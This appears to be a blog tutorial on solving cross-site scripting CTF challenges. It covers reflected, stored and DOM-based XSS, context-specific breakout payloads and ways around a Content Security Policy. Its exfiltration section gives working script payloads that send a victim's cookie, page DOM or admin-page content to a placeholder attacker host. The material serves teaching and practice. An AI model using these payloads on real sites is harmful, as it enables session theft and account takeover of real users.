Skip to content
All posts
webrevised February 3, 20265 min read

XSS in CTF: getting your JavaScript to run in someone else's page

Cross-site scripting challenges are rarely about popping alert(1) - they are about stealing an admin bot's cookie or acting as it. The three XSS types, the contexts that decide your payload, and how to exfiltrate once the script runs.

Cross-site scripting is getting your JavaScript to execute in a page the browser trusts as someone else's. In a bug bounty that means stealing a session; in CTF it almost always means the same, dressed as an 'admin bot' - a headless browser the challenge runs that visits a URL you supply, carrying a cookie that is (or unlocks) the flag. Your job is to make that bot's browser run your code and send you what it can see.

That framing matters because it tells you what 'solved' looks like. alert(1) proves execution and nothing else. The challenge is won when your script reads the bot's cookie, or its DOM, or performs an action as the bot, and gets that data back to you. Everything below is in service of those two steps: execute, then exfiltrate.

The three types, and which one you have

TypeWhere the payload livesHow the bot triggers it
ReflectedIn the URL, echoed straight into the responseYou send the bot a crafted link
StoredSaved by the app (a comment, a name, a note)The bot views the page that renders your stored payload
DOM-basedNever touches the server; client JS reads it from the URL/DOMThe bot loads a URL whose fragment or param the page's JS uses unsafely

Reflected and stored are about the server putting your input into HTML without escaping it. DOM-based is different and worth recognising: the server is innocent, and the bug is in the page's own JavaScript taking location.hash or a query parameter and feeding it to innerHTML, document.write, or eval. When the payload works locally but you cannot find it in the server's response, you are looking at DOM XSS - read the client JS, not the response body.

Context is everything

The single most common reason an XSS payload fails is that it does not fit the context it lands in. Where in the HTML your input appears decides what breaks out of it. Before choosing a payload, inject a harmless marker and view source to see exactly where it lands.

Your input lands in...You need to...Payload shape
HTML body textIntroduce a tag<script>...</script> or <img src=x onerror=...>
An attribute valueClose the attribute first"><svg onload=...> or break out with " onmouseover=...
Inside a <script> blockClose the string/tag</script><script>... or ';alert(1)//
An href/srcUse a script URLjavascript:...
Already inside an event handlerJust supply JSalert(1) - you are already in a JS context

Exfiltration: the actual objective

Execution is half. Now the running script has to send something back to a host you control. Stand up a listener and have your payload make a request to it with the loot in the URL.

<!-- Steal the cookie -->
<script>new Image().src='https://you.example/?c='+encodeURIComponent(document.cookie)</script>

<!-- If the flag cookie is HttpOnly, cookies are off the table - steal the DOM instead -->
<script>fetch('https://you.example/?d='+encodeURIComponent(document.documentElement.innerHTML))</script>

<!-- Or act as the victim: read an admin-only page and exfiltrate its body -->
<script>fetch('/admin').then(r=>r.text()).then(t=>fetch('https://you.example/?x='+encodeURIComponent(t)))</script>
Watch your listener's logs for the incoming request. encodeURIComponent keeps the payload from breaking the URL.

Beating a Content Security Policy

A CSP restricts where scripts can come from, and a well-set one blocks inline <script> and arbitrary external sources - which defeats the naive payloads above. CSP is the intended difficulty in a lot of modern XSS challenges, and the header itself is the clue. Read it and look for the gap.

  • A permissive source. If the policy allows scripts from a CDN or a domain that hosts user content, or has a wildcard, load your script from there.
  • A JSONP endpoint on an allowed host. JSONP hands you arbitrary JS execution from an allowlisted origin - a classic CSP bypass.
  • 'unsafe-inline' or 'unsafe-eval' present. The policy looks strict but left a hole; inline scripts or eval-based payloads run.
  • No object/base restriction. A missing base-uri lets you hijack relative script paths; a missing object-src can allow plugin-based execution.
  • Dangling markup / no script needed. When script is truly locked down, you can sometimes still exfiltrate data with a resource-loading tag whose URL captures page content, no JS required.

The approach, end to end

  1. Work out the type: reflected, stored, or (if the server response is clean) DOM-based - read the client JS.
  2. Inject a marker and view source to find the exact context your input lands in.
  3. Choose a breakout payload that fits that context; if tags are filtered, switch to event-handler payloads.
  4. Confirm execution, then make the script exfiltrate to a listener you control.
  5. If the flag cookie is HttpOnly, pivot from cookie theft to same-origin actions as the bot.
  6. If a CSP blocks you, read it for a permissive source, a JSONP endpoint, or a missing directive.